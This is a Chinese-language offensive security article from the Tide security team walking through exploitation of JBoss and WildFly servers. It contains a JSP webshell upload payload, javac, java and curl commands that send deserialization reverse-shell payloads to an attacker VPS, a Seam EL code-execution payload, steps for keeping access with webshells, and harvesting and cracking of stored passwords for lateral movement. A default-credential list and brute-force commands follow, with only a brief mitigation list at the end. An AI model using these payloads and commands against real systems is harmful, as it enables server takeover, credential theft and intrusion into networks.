声明: Tide安全团队原创文章,转载请声明出处! 文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss高危漏洞主要涉及到以下两种。
第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞,例如: CVE-2007-1036
, CVE-2010-0738
, CVE-2006-5750
以及 JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability
。
另一种是利用Java反序列化进行远程代码执行的漏洞,例如: CVE-2015-7501
, CVE-2017-7504
, CVE-2017-12149
, CVE-2013-4810
。
JBoss主要版本下载链接:https://teddysun.com/260.html
https://jbossas.jboss.org/downloads/
以 jboos 7.1.1
为例进行部署。
1、首先准备好jdk环境和相应的系统环境变量
2、然后执行 C:/jboss-as-7.1.1.Final/bin>add-user.bat
脚本,添加管理控制台用户,在 Realm
中保持默认。
3、编辑 C:/jboss-as-7.1.1.Final/standalone/configuration/standalone.xml
文件,让jboss管理控制台和一些其它入口都对外开放,默认端口为8080
4、运行 C:/jboss-as-7.1.1.Final/bin/standalone.bat
脚本来启动 jboss7
即可
5、访问 http://10.211.55.7:8080/
和 jboss 7
的默认管理控制台,发现已部署成功
1、公开搜索引擎, google
语法、 shodan
、 fofa
等
fofa dork app="JBoss" /web-console/Invoker /invoker/JMXInvokerServlet /jmx-console /web-console inurl:/console/ intitle:"JBoss Management" inurl:/jmx-console/ inurl:/admin-console/ intitle:"Welcome to JBoss" intitle:"jboss management console" "application server" version inurl:"web-console" intitle:"JBoss Management Console – Server Information" "application server" inurl:"web-console" OR inurl:"jmx-console"
2、通过常规端口扫描来发现,另外直接在浏览器中查看http响应头中的 X-Powered-By
字段内容一般也能看到
实战中jboss很可能开放 8080,9990,9999
这三个端口,也可以全端口扫描避免遗漏
# nmap -sT -sV -Pn --open -p 1-65535 -v -n 10.211.55.7-10
此漏洞主要是由于 JBoss
中 /jmx-console/HtmlAdaptor
路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到 jmx
控制台,并在其中执⾏任何功能。
Jboss4.x以下
1、首先访问 http://10.211.55.7:8080/jmx-console/
然后找到 jboss.deployment
(jboss 自带的部署功能)中的 flavor=URL,type=DeploymentScanner
点进去(通过 url 的方式远程部署)
2、找到页面中的 void addURL()
选项来远程加载war包来部署。
3、点击 invoke
之后会提示部署成功,如下
4、部署完成后回到 flavor=URL,type=DeploymentScanner
页面点击下属性列表中的”Apply change”
http://10.211.55.7:8080/bm1/index.jsp
6、通常像上面这样部署的 webshell
,物理路径默认都会在以下目录下
C:/Users/tale/Desktop/jboss-4.2.3.GA/server/default/tmp/deploy/tmp1704732146918985209bm1-exp.wa
这个目录最多用作临时维持下权限,所以可以把shell传到 jmx-console
的默认目录来巩固权限
C:/Users/tale/Desktop/jboss-4.2.3.GA/server/default/deploy/jmx-console.war
此漏洞主要是由于 JBoss
中 /jmx-console/HtmlAdaptor
路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能。该漏洞利⽤的是后台中 jboss.admin
-> DeploymentFileRepository
-> store()
⽅法,通过向四个参数传⼊信息,达到上传 shell
的⽬的,其中arg0传⼊的是部署的war包名字, arg1
传⼊的是上传的⽂件的⽂件名, arg2
传⼊的是上传⽂件的⽂件格式, arg3
传⼊的是上传⽂件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现, arg1
和 arg2
可以进⾏⽂件的拼接,例如 arg1=she,arg2=ll.jsp
。这个时候服务器还是会进⾏拼接,将 shell.jsp
传⼊到指定路径下
Jboss4.x以下
输⼊ url:http://10.211.55.7:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
,定位到 store
⽅法
传⼊相应的值,即可getshell
该漏洞利⽤⽅法跟 CVE-2007-1036
⼀样,只是绕过了get和post传输限制,利⽤
head传输⽅式发送 payload
jboss4.2.0、jboss 4.3.0
利⽤head传输⽅式,payload如下:
HEAD /jmx-console/HtmlAdaptor? action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIn dex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3= <%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True HTTP/1.1 Host: hostx:portx User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive
Administration Console
存在默认密码 admin admin
,我们可以登录到后台部署war包 getshell
全版本
以 jboss6.0
版本为例
1、 jboss6.x
之后可以直接访问管理控制台 /admin-console
直接上传war包进行部署(通常默认密码为 admin:admin
)
2、输⼊弱⼝令登录进去
3、点击Web application
,然后点击右上⻆的
add
getshell
4、也可以借助 jboss
漏洞利用的 jexboss exp
工具集,完全一键纯傻瓜化利用,具体使用过程如下:
该工具适用于 jboss < 5.x
的版本,中间还有一些关于 java
反序列化,包括 struts2
和 jenkins
的漏洞利用
git clone https://github.com/joaomatosf/jexboss.git cd jexboss pip install -r requires.txt python jexboss.py -u http://ip:8080
运行之后默认会自动匹配检测所有漏洞规则,如果漏洞存在则会逐个询问你是否要对其进行利用,利用成功后,便会返回一个半交互的 jexboss shell
shell> help # 通过 help 可以看到更多的关于 jexboss shell 内置的高级用法 shell> jexremote=ip:110 # 使用该命令可以直接反弹远程系统shell回来
此漏洞利用原理和 CVE-2007-1036
漏洞相同,唯一的区别是 CVE-2006-5750
漏洞利用 methodIndex
进行 store()
方法的调用。其中 methodIndex
是通过方法的编号进行调用。
此漏洞主要是由于 jboss/server/all/deploy/httpha-invoker.sar/invoker.war/WEB-INF/classes/org/jboss/invocation/http/servlet
目录下的 ReadOnlyAccessFilter.class
文件中的 doFilter
方法,再将序列化传入 ois
中,并没有进行过滤便调用了 readObject()
进行反序列化,导致传入的携带恶意代码的序列化数据执行,造成了反序列化的漏洞。
JbossAS 5.x , JbossAS 6.x
1、首先从http响应头和title中一般情况下都能看到信息来确定目标 jboss 版本是否在此漏洞版本范围
2、确定目标的 jboss 是否存在此漏洞,直接访问 poc url: http://192.168.3.81:8080/invoker/readonly
如果出现报 500 错误,则说明目标机器可能存在此漏洞
3、明确目标 jboss
可能存在此漏洞以后,接下来借助 JavaDeserH2HC
来完成整个利用过程
git clone https://github.com/joaomatosf/JavaDeserH2HC.git cd JavaDeserH2HC/
4、首先尝试直接反弹 shell
,利用 JavaDeserH2HC
创建好用于反弹 shell
的 payload,如下
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap vps的ip:端口
4、然后尝试利用 curl
发送 payload
到目标机器上执行后,发现vps已成功接弹回的shell
curl http://www.target.net/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
JBoss AS 4.x
及之前版本中, JbossMQ
实现过程的 JMS over HTTP Invocation Layer
的 HTTPServerILServlet.java
⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。
JBoss AS 4.x
及之前版本
1、首先验证目标 jboss
是否存在此漏洞,直接访问
poc url : http://10.211.55.7:8080/jbossmq-httpil/HTTPServerILServlet/
2、如果返回以下内容,则说明目标的 jboss
可能存在此漏洞,而后继续尝试进一步利用即可
3、此处我们使用 JavaDeserH2HC
工具来利用该漏洞,尝试直接弹回一个目标系统的原生 cmd shell
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 10.211.55.16:53 curl http://10.211.55.7:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ReverseShellCommonsCollectionsHashMap.ser
由于 JBoss
中 invoker/JMXInvokerServlet
路径对外开放,JBoss的 jmx
组件⽀持Java反序列化
实际上主要集中在 jboss 6.x 版本上:
Apache Group Commons Collections 4.0 Apache Group Commons Collections 3.2.1 Apache Group Commons Collections
验证是否存在此漏洞,直接访问
poc url: http://target/invoker/JMXInvokerServlet
如果像下面一样直接提示下载,则说明目标可能存在此漏洞
下面使用JavaDeserH2HC 生成反弹 shell 的 payload
# cd JavaDeserH2HC/ # javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java # java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 公网vps的ip:端口号 # curl http://target/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
打开nc界⾯,发现shell已经弹回成功了。
此漏洞和 CVE-2015-7501
漏洞原理相同,两者的区别就在于两个漏洞选择的进行其中 JMXInvokerServlet
和 EJBInvokerServlet
利用的是 org.jboss.invocation.MarshalledValue
进行的反序列化操作,而 web-console/Invoker
利用的是 org.jboss.console.remote.RemoteMBeanInvocation
进行反序列化并上传构造的文件。
实际上主要集中在 jboss 6.x
版本上:
Apache Group Commons Collections 4.0 Apache Group Commons Collections 3.2.1 Apache Group Commons Collections
跟CVE-2015-7501利⽤⽅法⼀样,只是路径不⼀样,这个漏洞利⽤路径
是 /invoker/EJBInvokerServlet
JBossSeam
是一个 JavaEE5
框架,把JSF与 EJB3.0
组件合并在一起,从而为开发基于Web的企业应用程序提供一个最新的模式。 JBossSeam
处理某些参数化 JBossEL
表达式的方式存在输入过滤漏洞。如果远程攻击者能够诱骗通过认证的 JBossSeam
用户访问特制的网页,就可能导致执行任意代码。
Redhat Jboss_enterprise_application_platform:4.3.0
1、此漏洞是通过 seam
组件中插入 #{payload}
进行模板注入,可以在以下链接中插入要执行的方法,通过Java反射机制来获取到( Java.lang.Runtime.getRuntime().exec()
方法),从而可以传入任何想要执行的命令。
/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}
2、POC如下,其中cmd代表传入的远程命令。在 /admin-console/login.seam
路径下,POST传入构造好的 payload
,即可对此漏洞利用。
actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('Java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('Java.lang.Runtime')).exec(cmd)}
搜集 jboss
中的所有密码,可以为后续内网横向移动提前做好准备
在7.x以下的版本,jboss用户密码通常默认都是直接明文保存在下面的文件中的
C:/Users/tale/Desktop/jboss-4.2.3.GA/server/default/conf/propsjmx-console-users.properties
而高版本的 jboss
和 wildfly
通常都是加密保存在下面的文件中,默认密码加密格式为
HEX( MD5( username ':' realm ':' password))
C:/services/wildfly-10.1.0.Final/standalone/configuration/mgmt-users.properties
john
也对此算法支持,编号为 1591
,可以对其进行破解
# john --wordlist=password.list --format=dynamic_1591
jboss 6.x-7.x
版本的默认管理控制台入口,因此版本默认没有强制复杂密码策略,所以比较容易出现弱口令。
Jboss 的常见弱口令:
admin:admin admin:jboss admin:password1! jboss:admin admin:ezoffice
jboss
从8开始正式更名为 WildFly
,在 WildFly8
之后的版本添加控制台用户时默认就会执行强密码策略,所以相对于之前低版本的 jboss
,针对 WildFly
之后版本的弱口令推荐 wildPwn
这款爆破工具
# git clone https://github.com/hlldz/wildPwn.git # cd wildPwn # python wildPwn.py -m brute --target 192.168.3.108 --port 8080 -user userList.txt -pass passList.txt
1、通过账号密码登到 wildlfy
控制台页面后,找到 Deployments
选项,上传 war
包
Enable
jboss
根目录下,访问
http://127.0.0.1:8080/cmd/cmd.jsp
4、访问木马webshell
使用如下工具时,开启wireshark发现该工具只是探测目标是否存在 CVE-2015-7501
filter : ip.addr==192.168.3.81 and tcp.port==8080 and http
通过简单的观察请求我们发现,常用的漏洞利用工具所探测的漏洞都已经非常老了,绝大多数用的还是 CVE-2015-7501
。
1.设置强口令
2.尽量不要开放到公网
3.在各个对外开放组件进行输入验证
4.限制来源IP
5.升级到最新版
https://www.freebuf.com/vuls/186948.html
https://klionsec.github.io/
https://www.jianshu.com/p/e34062e0a6f1
https://github.com/joaomatosf/JavaDeserH2HC
https://www.onebug.org/websafe/75730.html
guān
zhù
wǒ
men
Tide安全团队正式成立于2019年1月 , 是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
对安全感兴趣的小伙伴可以 关注团队官网: http://www.TideSec.com 或长按二维码关注公众号: